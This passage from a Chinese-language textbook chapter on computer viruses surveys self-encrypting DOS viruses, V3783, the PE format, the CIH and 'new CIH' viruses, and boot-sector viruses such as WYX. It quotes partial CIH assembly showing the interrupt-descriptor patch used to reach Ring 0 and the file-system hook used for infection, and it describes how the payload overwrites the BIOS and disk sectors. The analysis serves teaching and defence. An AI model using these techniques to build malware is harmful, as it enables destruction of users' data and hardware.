隨著計(jì)算機(jī)技術(shù)的發(fā)展,許多計(jì)算機(jī)病毒采用自加密技術(shù)。據(jù)統(tǒng)計(jì),在已發(fā)現(xiàn)的各種PC機(jī)病毒中,有近十分之一的病毒使用了自加密技術(shù)。按照被加密的內(nèi)容劃分,自加密分為信息加密、數(shù)據(jù)加密和程序代碼加密三種。比如,“中國(guó)炸彈”病毒就是對(duì)被感染文件的前6個(gè)字節(jié)進(jìn)行了修改,并將其以加密的形式存放在病毒體內(nèi)。要恢復(fù)被感染的文件,必須經(jīng)過解密才能獲得原文件的前6個(gè)字節(jié)。而“1575”病毒就是把c:command.com字符進(jìn)行了加密,只要一啟動(dòng),“1575”病毒自然會(huì)隨系統(tǒng)文件command.com進(jìn)入內(nèi)存,從而大大提高了它的感染能力。而“1701”、“1704”病毒對(duì)于自身的病毒體進(jìn)行了加密,它使用的加密密鑰的一部分是被感染文件的文件長(zhǎng)度,從而使得每次感染時(shí)使用的密鑰都不相同,因此進(jìn)一步增大了清除病毒的難度。
具有高級(jí)形式自加密技術(shù)的是一種稱為Mutation Engine的變形機(jī)技術(shù)。采用Mutation Engine技術(shù)的病毒不同于以往的病毒,它是具有自加密功能的新一代計(jì)算機(jī)病毒。Mutation Engine是一種程序變形器,它可以使程序代碼本身發(fā)生變化,同時(shí)保持原有的功能。利用計(jì)算得到的密鑰,變形機(jī)產(chǎn)生的程序代碼可以有很多種變化。因此,如果反病毒軟件用以往的特征串掃描的方法就不起作用了。這種病毒也被稱為“幽靈病毒”。
除了這些技術(shù)之外,一些病毒還使用了反跟蹤技術(shù)(如,“1575”病毒就加入了反跟蹤技術(shù),阻止利用DEBUG等程序調(diào)試軟件對(duì)其代碼進(jìn)行跟蹤),這里就不詳細(xì)介紹了。
DOS下的可執(zhí)行文件是標(biāo)準(zhǔn)的可執(zhí)行文件。采用16進(jìn)制的文本編輯器可以看見它是以4D5A開頭的(由于數(shù)據(jù)的存儲(chǔ)方式是反的,實(shí)際上應(yīng)該是5A4D)。它的結(jié)構(gòu)非常簡(jiǎn)單。
2.Windows病毒
隨著微軟Windows 3x操作系統(tǒng)的推出,病毒也進(jìn)入了Windows時(shí)代。由于該操作系統(tǒng)依然使用DOS作為其底層操作系統(tǒng),所以Windows 3x的病毒數(shù)量相對(duì)較少,人們能夠接觸到的典型的Windows 3x病毒是一個(gè)叫做“V3783”的病毒。
該病毒傳染硬盤、軟盤引導(dǎo)區(qū)及Windows、DOS可執(zhí)行程序,其中包括.EXE、.COM、.OVL、.386等文件。程序被傳染后長(zhǎng)度增加3783字節(jié),文件日期被加上100年作為傳染標(biāo)記。
“V3783”病毒是一種傳染性和隱蔽性都很強(qiáng)的病毒,它的獨(dú)到之處是可以傳染W(wǎng)indows文件,使病毒可以在Windows執(zhí)行時(shí)駐留內(nèi)存。
該病毒采用修改內(nèi)存控制塊的方法達(dá)到駐留內(nèi)存的目的,如果存在UMB,病毒會(huì)駐留在UMB中。該病毒駐留內(nèi)存后截取INT 21H和INT 13H中斷,從而實(shí)現(xiàn)對(duì)文件和引導(dǎo)區(qū)的傳染。
該病毒駐留內(nèi)存后,用DIR命令看不出文件長(zhǎng)度的變化,用INT 13H讀出的磁盤引導(dǎo)記錄也是正常的而不是帶毒的引導(dǎo)記錄,用應(yīng)用程序讀出的帶毒文件也都正常,但是由ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX這7個(gè)程序讀出的文件卻是帶毒的,所以被這些壓縮程序壓進(jìn)文件包或用TELIX通過調(diào)制解調(diào)器傳到其他地方的文件都是帶毒的。由此可見該病毒在隱藏和傳播上下了很大工夫。
該病毒在傳染硬盤主引導(dǎo)區(qū)時(shí)隱藏于0柱面0頭5扇區(qū),傳染軟盤引導(dǎo)區(qū)時(shí)隱藏于新格式化的軟盤的第81個(gè)磁道,傳染文件時(shí)附在文件末尾。該病毒本身不加密。
微軟為了配合其Windows 3x系統(tǒng)推出了NE格式可執(zhí)行文件標(biāo)準(zhǔn),也就是16位Windows格式可執(zhí)行文件。它提出了section(節(jié))的概念,使文件的結(jié)構(gòu)發(fā)生了很大變化,而且還可以加入資源使可執(zhí)行文件能夠顯示自己的圖標(biāo)等。具體細(xì)節(jié)可以參見PE格式的說明。
到了Windows 9x時(shí)代,病毒有了很大發(fā)展。微軟在Windows 95推出的時(shí)候公布了其PE格式的可執(zhí)行文件標(biāo)準(zhǔn)。在Windows 9x、NT、2000下,所有的可執(zhí)行文件都是基于微軟設(shè)計(jì)的一種新的文件格式Portable Executable File Format(可移植的執(zhí)行體),即PE格式。而現(xiàn)在新出現(xiàn)的病毒幾乎都是PE格式的可執(zhí)行文件病毒,其中最有名的PE格式的病毒應(yīng)該是PE_CIH病毒。
CIH病毒是感染W(wǎng)indows 95、98可執(zhí)行文件的病毒。PE_CIH病毒最先于1998年6月在臺(tái)灣發(fā)現(xiàn),該病毒作者把此病毒作為一個(gè)實(shí)用程序發(fā)到當(dāng)?shù)氐幕ヂ?lián)網(wǎng)上,結(jié)果在此后的一周內(nèi)該病毒相繼在澳大利亞、瑞士、美國(guó)、俄羅斯等國(guó)被發(fā)現(xiàn)。該病毒于1998年8月中旬流入大陸。CIH病毒是迄今為止發(fā)現(xiàn)的最具危害的病毒之一,其陰險(xiǎn)之處在于發(fā)作時(shí)不僅破壞硬盤的引導(dǎo)區(qū)和分區(qū)表,而且破壞計(jì)算機(jī)系統(tǒng)Flash BIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞。CIH病毒是被發(fā)現(xiàn)的第一個(gè)直接破壞計(jì)算機(jī)系統(tǒng)硬件的病毒。該計(jì)算機(jī)病毒在其代碼中包含字符串“CIH v1.2 TT IT”,如圖4-9所示。

圖4-9 CIH病毒的代碼中包含“CIH v1.2 TTIT”字符串
該病毒利用了微軟的VxD技術(shù),可以直接對(duì)硬盤的物理扇區(qū)進(jìn)行寫操作。VxD(虛擬設(shè)備驅(qū)動(dòng))是微軟專門為Windows制定的設(shè)備驅(qū)動(dòng)程序接口規(guī)范。通俗地說,VxD程序有點(diǎn)類似于DOS中的設(shè)備驅(qū)動(dòng)程序,專門用于管理系統(tǒng)所加載的各種設(shè)備。比如,Windows為了管理最常用的鼠標(biāo),就會(huì)加載一個(gè)鼠標(biāo)虛擬設(shè)備驅(qū)動(dòng)程序(通常是mouse.VxD)。微軟之所以將它稱為“虛擬設(shè)備驅(qū)動(dòng)”,是因?yàn)閂xD不僅適用于硬件設(shè)備,而且也適用于按照VxD規(guī)范所編制的各種軟件“設(shè)備”。有很多應(yīng)用軟件都需要使用VxD機(jī)制來實(shí)現(xiàn)某些比較特殊的功能。比如,最常見的VCD軟解壓工具就使用VxD程序有效地改善了視頻回放效果。Windows反病毒技術(shù)也需要利用VxD機(jī)制,這是因?yàn)閂xD程序具有比其他類型的應(yīng)用程序更高的優(yōu)先級(jí),而且更靠近系統(tǒng)底層資源——只有這樣,反病毒軟件才有可能全面、徹底地控制系統(tǒng)資源,并在病毒入侵時(shí)及時(shí)作出反應(yīng)。
由于微軟在Win NT構(gòu)架下的系統(tǒng)沒有使用VxD技術(shù),所以PE_CIH病毒在Win NT下是沒有辦法運(yùn)行的。
隨著計(jì)算機(jī)軟硬件的發(fā)展,病毒也有了更進(jìn)一步的發(fā)展,并且伴隨著互聯(lián)網(wǎng)的不斷普及,蠕蟲病毒將成為未來病毒的主要發(fā)展方向。我們將在下面詳細(xì)介紹。
PE的意思就是Portable Executable(可移植的可執(zhí)行文件),它是Win32環(huán)境自身所帶的可執(zhí)行文件格式??梢浦驳目蓤?zhí)行文件意味著此文件格式是跨Win32平臺(tái)的:即使Windows運(yùn)行在非Intel的CPU上,任何Win32平臺(tái)的PE解釋器也都能識(shí)別和使用該文件格式。當(dāng)然,移植到不同的CPU上的PE可執(zhí)行文件必然會(huì)有一些改變。所有Win32可執(zhí)行文件(除了VxD和16位的Dll)都使用PE文件格式,其中包括NT的內(nèi)核模式驅(qū)動(dòng)程序(kernel mode driver)。它的一些特性繼承自UNIX的Coff(common object file format)文件格式。
所有PE文件(甚至32位的DLL)必須以一個(gè)簡(jiǎn)單的DOS MZ header開始。一旦程序在DOS下執(zhí)行,DOS就能識(shí)別出這是有效的可執(zhí)行文件,然后運(yùn)行緊隨MZ header之后的DOS stub。DOS stub實(shí)際上是一個(gè)有效的EXE可執(zhí)行文件,在不支持PE文件格式的操作系統(tǒng)中,它將簡(jiǎn)單地顯示一個(gè)錯(cuò)誤提示,其內(nèi)容類似于字符串“This program can not run in DOS mode”或者是程序員根據(jù)自己的意圖編寫的完整的DOS代碼。緊接著DOS stub的是PE header。PE header是PE相關(guān)結(jié)構(gòu)IMAGE_NT_HEADERS的簡(jiǎn)稱,其中包含了許多PE程序解釋器用到的重要信息。可執(zhí)行文件在支持PE文件結(jié)構(gòu)的操作系統(tǒng)中執(zhí)行時(shí),PE程序加載器將從DOS MZ header中找到PE header的起始偏移量,從而跳過DOS stub直接定位到真正的文件頭PE header開始執(zhí)行。PE文件的真正內(nèi)容劃分成塊,這些塊稱為section(節(jié))。每個(gè)節(jié)是一塊擁有共同屬性的數(shù)據(jù),比如代碼/數(shù)據(jù)、讀/寫等。
4.3.5 典型的文件型病毒——WIN95.CIH病毒解剖
CIH病毒是我們通常所說的Win32病毒的一種,該病毒利用Windows 9x針對(duì)系統(tǒng)區(qū)內(nèi)存保護(hù)不利的弱點(diǎn)進(jìn)行攻擊傳染。它的特點(diǎn)是傳播快,破壞力極強(qiáng)。一個(gè)典型的病毒由三部分組成:初始化部分、傳染部分和破壞部分。下面我們通過對(duì)部分代碼的分析分別說明該病毒的三個(gè)組成部分,并以此說明它的流程。在解剖該病毒前,我們先對(duì)Windows 9x系統(tǒng)進(jìn)行一些簡(jiǎn)單描述。
Intel IA-32系統(tǒng)對(duì)代碼實(shí)行分級(jí)保護(hù)。代碼特權(quán)級(jí)一共有4級(jí),但Windows系統(tǒng)只使用了其中的2級(jí)。Ring 0是系統(tǒng)級(jí),操作系統(tǒng)代碼和驅(qū)動(dòng)程序代碼就運(yùn)行在該級(jí)別。在該級(jí)上運(yùn)行的代碼可以執(zhí)行任意的Intel指令而不被限制,Ring 3是用戶級(jí),一般的用戶程序所運(yùn)行的級(jí)別屬于這一級(jí),一些特權(quán)指令的執(zhí)行將被限制。因?yàn)椴僮飨到y(tǒng)出于對(duì)自身的保護(hù)往往不允許用戶級(jí)的代碼去改寫系統(tǒng)的數(shù)據(jù)區(qū)。
1.初始化部分
通常,病毒在該部分做一些初始化操作,例如,在Win32病毒中普遍存在調(diào)用Win32 Api函數(shù)的操作。當(dāng)然,CIH病毒利用VxD技術(shù)編寫,它并不調(diào)用系統(tǒng)提供的用戶級(jí)API,所以也就不存在定位API的問題。它的初始化部分主要是為了突破系統(tǒng)的保護(hù),從而把自己的代碼執(zhí)行特權(quán)級(jí)別提高,并把自己嵌入系統(tǒng)中以安裝相應(yīng)的感染模塊。
因?yàn)槠胀ǖ膽?yīng)用程序代碼被限制在Ring 3上運(yùn)行,而病毒要攻入系統(tǒng)并進(jìn)行傳播就存在一個(gè)突破系統(tǒng)限制以提高自己的特權(quán)級(jí)的問題。接下來我們看看CIH病毒是如何實(shí)現(xiàn)的。
SIDT DWORD PTR [ESP-2] POP EBX 獲得系統(tǒng)中斷表的基址 ADD EBX,1CH 計(jì)算INT3的中斷描述符地址 MOV EBP,[EBX] MOV BP,[EBX-4] LEA ESI,[ECX+12] 獲得系統(tǒng)的Ring 0代碼的地址 PUSH ESI MOV [EBX-4],SI SHR ESI,10H MOV [EBX+2],ESI 寫入到INT3中斷描述符中 POP ESI
這樣的代碼在WinNT、Win2k、WinXp上如果被執(zhí)行,將會(huì)發(fā)生異常。原因是它嘗試改寫系統(tǒng)的數(shù)據(jù)區(qū),而在以上的系統(tǒng)中,系統(tǒng)的數(shù)據(jù)是不能被用戶讀寫的。但Win9x中因?yàn)橄到y(tǒng)對(duì)自己的關(guān)鍵數(shù)據(jù)區(qū)沒有進(jìn)行保護(hù)(這里主要是因?yàn)閮?nèi)存頁(yè)的屬性為用戶頁(yè),并且可讀寫),從而使得Ring 3級(jí)的代碼可以任意改寫操作系統(tǒng)的很多數(shù)據(jù)區(qū)。
CIH成功改寫中斷3的描述符之后,讓該中斷處理代碼指向病毒的Ring 0代碼。當(dāng)然,還需要指定這個(gè)中斷的可被調(diào)用級(jí)。(因?yàn)橄到y(tǒng)中斷3是允許Ring 3代碼觸發(fā)的,所以這里沒有改,如果病毒要利用其他中斷的話,就需要做這一步。因?yàn)榈侥壳盀橹?,我們的代碼還只是運(yùn)行在Ring 3級(jí),因此有很多有關(guān)特權(quán)方面的限制)接下來病毒觸發(fā)中斷。執(zhí)行Ring 0代碼進(jìn)行初始化。
INT 3 Ring 0初始化代碼: JZ SHORT病毒初始化2 MOV ECX, DR0 JECXZ SHORT病毒初始化1 中斷恢復(fù): MOV [EBX-4], BP 恢復(fù)原來的中斷3描述符 SHR EBP, 10H MOV [EBX+2], BP IRET 病毒初始化2: LEA EAX, [EDI-30AH] PUSH EAX 計(jì)算病毒的文件操作鉤子函數(shù)的地址 VXDCALL IFSMGR_INSTALLFILESYSTEMAPIHOOK ... ... JMP 中斷恢復(fù) 病毒初始化1: MOV DR0, EBX 設(shè)病毒內(nèi)存駐留標(biāo)記 PUSH 0FH PUSH ECX PUSH 0FFFFFFFFH PUSH ECX PUSH ECX PUSH ECX PUSH 1 PUSH 2 VMMCALL _PAGEALLOCATE 病毒分配2頁(yè)的系統(tǒng)內(nèi)存 ADD ESP, 20H XCHG EAX, EDI LEA EAX, [ESI-6FH] IRET
病毒兩次調(diào)用INT3以兩步完成整個(gè)病毒的Ring 0初始化。第一次調(diào)用時(shí),病毒分配一塊系統(tǒng)內(nèi)存區(qū),以便可以把病毒代碼復(fù)制到該區(qū)以達(dá)到駐留系統(tǒng)的目的。第二次調(diào)用時(shí),病毒利用VXD調(diào)用,把自己的傳染部分掛接到操作系統(tǒng)的文件操作部分。所以當(dāng)系統(tǒng)每次操作文件時(shí),病毒的傳染代碼都會(huì)被執(zhí)行,病毒則趁機(jī)進(jìn)行文件感染。
病毒傳染部分:(病毒掛接的文件系統(tǒng)HOOK函數(shù))
PUSHA CALL $+5 POP ESI ADD ESI, 248H TEST BYTE PTR [ESI], 1 ;病毒為了防止自己的代碼重入設(shè)置的忙標(biāo)記 JNZ NEAR PTR 4005A0H LEA EBX, [ESP+28H] CMP DWORD PTR [EBX], 24H ;表示系統(tǒng)對(duì)文件的操作是打開的 JNZ NEAR PTR 40059AH INC BYTE PTR [ESI] ADD ESI, 5 PUSH ESI MOV AL, [EBX+4] CMP AL, 0FFH JZ SHORT LOC_0_4003BA ADD AL, 40H MOV AH, 3AH MOV [ESI], EAX INC ESI INC ESI LOC_0_4003BA: PUSH 0 PUSH 7FH MOV EBX, [EBX+10H] MOV EAX, [EBX+0CH] ADD EAX, 4 PUSH EAX PUSH ESI VXDCALL UNITOBCSPATH ADD ESP, 10H CMP DWORD PTR [ESI+EAX-4], 'EXE.' ;感染擴(kuò)展名為EXE的文件 POP ESI JNZ NEAR PTR NOTEXEFILE ;病毒不對(duì)非EXE文件進(jìn)行感染 CMP Word PTR [EBX+18H], 1 JNZ NEAR PTR 400597H MOV AX, 4300H VXDCALL IFSMGR_RING0_FILEIO ;病毒嘗試打開該文件 ... 病毒將嘗試感染該文件
2.病毒感染流程簡(jiǎn)介
首先,判斷該EXE文件是否被加過感染標(biāo)記“U”,如果標(biāo)記存在,病毒認(rèn)為該文件已經(jīng)被病毒感染過,從而不進(jìn)行重復(fù)感染。病毒還會(huì)避開Zip自解壓文件,以免被Zip解壓代碼校驗(yàn)保護(hù)發(fā)現(xiàn)。
病毒的感染手法比較少見,它把自己分塊插入PE文件中的“縫隙”中。當(dāng)病毒運(yùn)行時(shí)由初始化模塊負(fù)責(zé)加載組裝。這樣做可以避免因被感染文件大小變大而被發(fā)現(xiàn)。病毒也會(huì)修改PE文件中插有病毒代碼的節(jié)的屬性,以便病毒在運(yùn)行時(shí)不會(huì)產(chǎn)生頁(yè)異常(主要是因?yàn)榇a節(jié)不可寫,而病毒有進(jìn)行自身代碼的改寫的操作)。
3.病毒的破壞
病毒直接利用0x70和0x71端口讀出RTC的日期并以此作為其發(fā)作日期的判別依據(jù)。當(dāng)日期符合病毒要求時(shí),病毒就會(huì)用垃圾數(shù)據(jù)覆蓋Bios-EPROM,并直接利用VXD調(diào)用向磁盤驅(qū)動(dòng)發(fā)送寫命令,從頭至尾進(jìn)行磁盤扇區(qū)的覆蓋操作,直到系統(tǒng)癱瘓。
4.病毒的簡(jiǎn)要流程圖
Win95.CIH病毒的簡(jiǎn)要流程圖如圖4-10所示。

圖4-10 Win95.CIH病毒的簡(jiǎn)要流程圖
4.3.6 新CIH病毒(WIN32.Yami)剖析
與傳統(tǒng)的CIH病毒不同,“新CIH”病毒可以在Windows2000/XP系統(tǒng)下運(yùn)行(老CIH只能在Win 9x系統(tǒng)下運(yùn)行),因此破壞范圍比老CIH大得多。2003年5月17日,瑞星全球反病毒監(jiān)測(cè)網(wǎng)率先截獲該惡性病毒,由于該病毒的破壞能力和當(dāng)年臭名昭著的CIH病毒幾乎完全一樣,因此瑞星將該病毒命名“新CIH”病毒。
“新CIH”病毒會(huì)駐留在系統(tǒng)內(nèi)核,它首先判斷打開的文件是否為Windows可執(zhí)行文件(PE)文件,如果不是則不進(jìn)行感染操作,是則將病毒插入到PE文件各節(jié)的空隙中(與傳統(tǒng)的CIH一樣),所以,感染后文件長(zhǎng)度不會(huì)增加。由于病毒自身的原因,感染時(shí)有些文件會(huì)被損壞,導(dǎo)致不能正常運(yùn)行。它發(fā)作時(shí)將企圖用“YM Kill You”字符串信息覆蓋系統(tǒng)硬盤,并且使數(shù)據(jù)恢復(fù)相當(dāng)困難。它同時(shí)通過向主板BIOS中寫入垃圾數(shù)據(jù)來對(duì)硬件系統(tǒng)進(jìn)行永久性破壞。
新CIH病毒行為分析:
1.病毒搜索Kernel32的起始偏移地址
2.取得病毒所用的Api地址
3.進(jìn)入Ring0
4.通過直接IO的方式寫B(tài)ios和硬盤
值得慶幸的是,這個(gè)新“CIH”發(fā)作條件較為特殊,不會(huì)定期發(fā)作,而且只會(huì)通過感染文件來傳播,因此不太可能在短期內(nèi)造成巨大的破壞。各反病毒軟件公司以最快的速度研發(fā)出查殺此病毒的專殺工具,因此此病毒的大面積破壞在很大程度上被控制住了。
4.4 攻擊磁盤扇區(qū)的引導(dǎo)型病毒
4.4.1 引導(dǎo)型病毒背景介紹
為了更好地理解引導(dǎo)型病毒的發(fā)作過程和原理,我們先來了解一下磁盤的基本結(jié)構(gòu)。
1.磁盤結(jié)構(gòu)初步
當(dāng)硬盤的容量還非常小的時(shí)候,人們采用與軟盤類似的結(jié)構(gòu)生產(chǎn)硬盤。也就是說,硬盤盤片的每一條磁道都具有相同的扇區(qū)數(shù)。因此人們將硬盤參數(shù)稱為CHS,即磁頭數(shù)(Heads),柱面數(shù)(Cylinders),扇區(qū)數(shù)(Sectors),以及相應(yīng)的尋址方式。其中:
磁頭數(shù)表示硬盤總共有幾個(gè)磁頭,也就是有幾面盤片,最大為255(用8個(gè)二進(jìn)制位存儲(chǔ));
柱面數(shù)表示硬盤每一面盤片上有幾條磁道,最大為1023(用10個(gè)二進(jìn)制位存儲(chǔ));
扇區(qū)數(shù)表示每一條磁道上有幾個(gè)扇區(qū),最大為63(用6個(gè)二進(jìn)制位存儲(chǔ));
每個(gè)扇區(qū)一般是512個(gè)字節(jié),理論上講這不是必須的,但習(xí)慣上都取此值。
所以,磁盤最大容量為:
255×1023×63×512/1048576=8024 MB(1MB=1048576 B)
或硬盤廠商常用的單位:
255×1023×63×512/1000000=8414 MB(1MB=1000000 B)
在老式硬盤中,由于每個(gè)磁道的扇區(qū)數(shù)相等,所以外道的記錄密度要遠(yuǎn)低于內(nèi)道,因此會(huì)浪費(fèi)很多磁盤空間(與軟盤一樣)。為了解決這一問題,進(jìn)一步提高硬盤容量,人們改用等密度結(jié)構(gòu)生產(chǎn)硬盤。也就是說,外圈磁道的扇區(qū)比內(nèi)圈磁道多。采用這種結(jié)構(gòu)后,硬盤不再具有實(shí)際的3D參數(shù)了,尋址方式也改為線性尋址,即以扇區(qū)為單位進(jìn)行尋址。為了與使用3D尋址的老軟件兼容,人們?cè)谟脖P控制器內(nèi)部安裝了一個(gè)地址翻譯器,由它負(fù)責(zé)將老式3D參數(shù)翻譯成新的線性參數(shù)。這也是為什么現(xiàn)在硬盤的3D參數(shù)可以有多種選擇的原因(不同的工作模式對(duì)應(yīng)不同的3D參數(shù),如LBA,LARGE,NORMAL)。
2.磁盤分區(qū)簡(jiǎn)介
(1)Boot Sector簡(jiǎn)介
Boot Sector也就是硬盤的第一個(gè)扇區(qū),它由MBR(Master Boot Record)、DPT(Disk Partition Table)和Boot Record ID三部分組成。
MBR又稱為主引導(dǎo)記錄,占用Boot Sector的前446個(gè)字節(jié)(0到0x1BD),存放系統(tǒng)主引導(dǎo)程序(它負(fù)責(zé)從活動(dòng)分區(qū)中裝載并運(yùn)行系統(tǒng)引導(dǎo)程序)。
DPT即主分區(qū)表,占用64個(gè)字節(jié)(0x1BE到0x1FD),記錄了磁盤的基本分區(qū)信息,主分區(qū)表分為4個(gè)分區(qū)項(xiàng),每項(xiàng)16字節(jié),分別記錄了每個(gè)主分區(qū)的信息(因此最多可以有4個(gè)主分區(qū))。
Boot Record ID是引導(dǎo)區(qū)標(biāo)記,占用兩個(gè)字節(jié)(0x1FE和0x1FF),對(duì)于合法引導(dǎo)區(qū),它等于0xAA55,這是判別引導(dǎo)區(qū)是否合法的標(biāo)志。
Boot Sector的具體結(jié)構(gòu)如圖4-11所示。

圖4-11 Boot Sector的結(jié)構(gòu)圖
(2)分區(qū)表結(jié)構(gòu)
分區(qū)表由4個(gè)分區(qū)項(xiàng)構(gòu)成,每一項(xiàng)長(zhǎng)度為16個(gè)字節(jié),分區(qū)表結(jié)構(gòu)如圖4-12所示。
(3)擴(kuò)展分區(qū)簡(jiǎn)介
由于主分區(qū)表中只能分4個(gè)分區(qū),因此無(wú)法滿足需求,所以人們?cè)O(shè)計(jì)了一種擴(kuò)展分區(qū)格式。基本上說,擴(kuò)展分區(qū)的信息是以鏈表形式存放的,但也有一些特別之處。
首先,主分區(qū)表中要有一個(gè)基本擴(kuò)展分區(qū)項(xiàng),所有擴(kuò)展分區(qū)都隸屬于它。也就是說,其他所有擴(kuò)展分區(qū)的空間都必須包括在這個(gè)基本擴(kuò)展分區(qū)中。對(duì)于DOS/Windows來說,擴(kuò)展分區(qū)的類型為0x05(EXTENDX)。除基本擴(kuò)展分區(qū)以外的其他所有擴(kuò)展分區(qū)則以鏈表的形式級(jí)聯(lián)存放,后一個(gè)擴(kuò)展分區(qū)的數(shù)據(jù)項(xiàng)記錄在前一個(gè)擴(kuò)展分區(qū)的分區(qū)表中,但兩個(gè)擴(kuò)展分區(qū)的空間并不重疊。擴(kuò)展分區(qū)類似于一個(gè)完整的硬盤,必須進(jìn)一步分區(qū)才能使用。但每個(gè)擴(kuò)展分區(qū)中只能存在一個(gè)其他分區(qū),該分區(qū)在DOS/Windows環(huán)境中即為邏輯盤。因此,每一個(gè)擴(kuò)展分區(qū)的分區(qū)表(同樣存儲(chǔ)在擴(kuò)展分區(qū)的第一個(gè)扇區(qū)中)中最多只能有兩個(gè)分區(qū)數(shù)據(jù)項(xiàng)(包括下一個(gè)擴(kuò)展分區(qū)的數(shù)據(jù)項(xiàng))。

圖4-12 分區(qū)表結(jié)構(gòu)圖
擴(kuò)展分區(qū)的分區(qū)表存放在該分區(qū)的第一個(gè)扇區(qū)中,它的結(jié)構(gòu)與硬盤的Boot Sector基本相同,只是沒有主引導(dǎo)記錄,即該扇區(qū)的0-0X1BD的數(shù)據(jù)是無(wú)效的。另外,它的分區(qū)表只有前面兩項(xiàng)是有效的。它的最后兩個(gè)字節(jié)也是合法性檢測(cè)標(biāo)志,即55AA。
圖4-13是擴(kuò)展分區(qū)的結(jié)構(gòu)示意圖。

圖4-13 擴(kuò)展分區(qū)的結(jié)構(gòu)圖
(4)硬盤分區(qū)類型
0 未使用分區(qū)項(xiàng);
1 DOS12——一種fat表為12位的分區(qū),主要用于早期的小硬盤和部分軟盤;
2 xenix——一種Linux分區(qū);
4 DOS16——早期硬盤分區(qū)方法,分區(qū)表項(xiàng)為16位,最大支持32MB的分區(qū)大??;
5 EXTEND——擴(kuò)展分區(qū)的一種,該分區(qū)的起始扇區(qū)為前面的第一個(gè)EXTENDX分區(qū)起始扇區(qū)+該分區(qū)的相對(duì)偏移;
6 BIGDOS,即FAT16分區(qū),分區(qū)表為16位,每簇最大為32KB,最大分區(qū)為2GB;
7 NTFS分區(qū);
B FAT32分區(qū),分區(qū)表為32位;
C FAT32X分區(qū),與FAT32基本相同;
E BIGDOSX,即FAT16分區(qū),擴(kuò)展分區(qū)表為16位,每簇最大可以超過32KB;
F EXTENDX——擴(kuò)展分區(qū)的一種,起始扇區(qū)為該分區(qū)的相對(duì)偏移或者前面的第一個(gè)EXTENDX分區(qū)起始扇區(qū)+該分區(qū)的相對(duì)偏移。
3.引導(dǎo)型病毒簡(jiǎn)介
簡(jiǎn)單來講,引導(dǎo)型病毒就是改寫磁盤上的引導(dǎo)扇區(qū)(Boot Sector)信息的病毒。引導(dǎo)型病毒主要感染軟盤和硬盤的引導(dǎo)扇區(qū)或主引導(dǎo)扇區(qū),在系統(tǒng)啟動(dòng)時(shí),先執(zhí)行引導(dǎo)扇區(qū)上的引導(dǎo)程序,將病毒加載到系統(tǒng)內(nèi)存上,然后通過監(jiān)控操作系統(tǒng)磁盤讀寫中斷向量的方式感染其他軟盤和硬盤。引導(dǎo)區(qū)型病毒通常用匯編語(yǔ)言編寫,因此病毒程序很短,執(zhí)行速度很快。
比較典型的引導(dǎo)區(qū)病毒是PolyBoot(也叫WYX.B)。WYX病毒把最初的引導(dǎo)區(qū)儲(chǔ)存在不同位置,這取決于它是DBR、MBR還是軟盤的引導(dǎo)區(qū)。病毒一旦發(fā)作,將破壞硬盤的主引導(dǎo)區(qū),使所有的硬盤分區(qū)及數(shù)據(jù)丟失。WYX病毒的感染對(duì)象可以是任何系統(tǒng)平臺(tái),包括Windows、UNIX、Linux、Macintosh等。我們會(huì)在后面對(duì)WYX病毒進(jìn)行詳細(xì)的分析。
4.4.2 引導(dǎo)型病毒的主要特點(diǎn)和分類
(1)引導(dǎo)型病毒是在安裝操作系統(tǒng)之前進(jìn)入內(nèi)存的,寄生對(duì)象又相對(duì)固定,因此該類型病毒基本上不得不采用減少操作系統(tǒng)所掌管的內(nèi)存容量的方法來駐留內(nèi)存高端。而正常的系統(tǒng)引導(dǎo)過程一般是不減少系統(tǒng)內(nèi)存的。
(2)引導(dǎo)型病毒需要把病毒傳染給軟盤,一般是通過修改INT 13H的中斷向量,而新INT 13H中斷向量段址必定指向內(nèi)存高端的病毒程序。
(3)引導(dǎo)型病毒感染硬盤時(shí),必定駐留在硬盤的主引導(dǎo)扇區(qū)或引導(dǎo)扇區(qū)中,并且只駐留一次。因此,引導(dǎo)型病毒一般都是在軟盤啟動(dòng)過程中把病毒傳染給硬盤的。而正常的引導(dǎo)過程一般是不對(duì)硬盤主引導(dǎo)區(qū)或引導(dǎo)區(qū)進(jìn)行寫盤操作的。
(4)引導(dǎo)型病毒的寄生對(duì)象相對(duì)固定,所以可以把當(dāng)前的系統(tǒng)主引導(dǎo)扇區(qū)和引導(dǎo)扇區(qū)與干凈的主引導(dǎo)扇區(qū)和引導(dǎo)扇區(qū)進(jìn)行比較,如果內(nèi)容不一致,可認(rèn)定系統(tǒng)引導(dǎo)區(qū)異常。
引導(dǎo)型病毒按其寄生對(duì)象的不同又可分為兩類,即“MBR”(主引導(dǎo)區(qū))病毒和“BR”(引導(dǎo)區(qū))病毒?!癕BR”病毒也稱為分區(qū)病毒,將病毒寄生在硬盤分區(qū)主引導(dǎo)程序所占據(jù)的硬盤0頭0柱面的第1個(gè)扇區(qū)中。典型的病毒有“大麻”(Stoned)、“2708”、“INT60”病毒等?!癇R”病毒是將病毒寄生在硬盤邏輯0扇或軟盤邏輯0扇(即0面0道的第1個(gè)扇區(qū))。典型的病毒有“Brain”、“小球”病毒等。
4.4.3 引導(dǎo)型病毒的發(fā)作現(xiàn)象及處理
通常,我們可以利用DOS操作系統(tǒng)所帶的DEBUG程序?qū)σ龑?dǎo)型病毒所感染的硬盤主引導(dǎo)扇區(qū)、硬盤BOOT扇區(qū)、硬盤FAT表、文件目錄進(jìn)行備份保存,當(dāng)病毒感染發(fā)作時(shí),重新回寫硬盤主引導(dǎo)扇區(qū)、硬盤BOOT扇區(qū)、硬盤FAT表、根目錄,這樣可以覆蓋掉已有的病毒,并且能夠恢復(fù)硬盤數(shù)據(jù)。
作為比較典型的引導(dǎo)型病毒,WYX的基本傳染條件、感染過程、破壞結(jié)果均符合引導(dǎo)型病毒的基本特征,詳細(xì)情況如圖4-14所示。

圖4-14 WYX病毒的基本特征
1.感染過程
修改硬盤的啟動(dòng)扇區(qū)(Boot Sector —— 0扇區(qū))中的主引導(dǎo)記錄(MBR)及引導(dǎo)記錄(63扇區(qū)),并將原來0扇區(qū)的內(nèi)容和63扇區(qū)的內(nèi)容挪移到60和61兩個(gè)扇區(qū)進(jìn)行備份。其中,在60扇區(qū)中存放引導(dǎo)記錄的信息,在61扇區(qū)中存放0扇區(qū)的信息。然后在62扇區(qū)進(jìn)行病毒標(biāo)記。由于其中有WYX的明顯標(biāo)記,所以此病毒因此得名。
2.發(fā)作過程
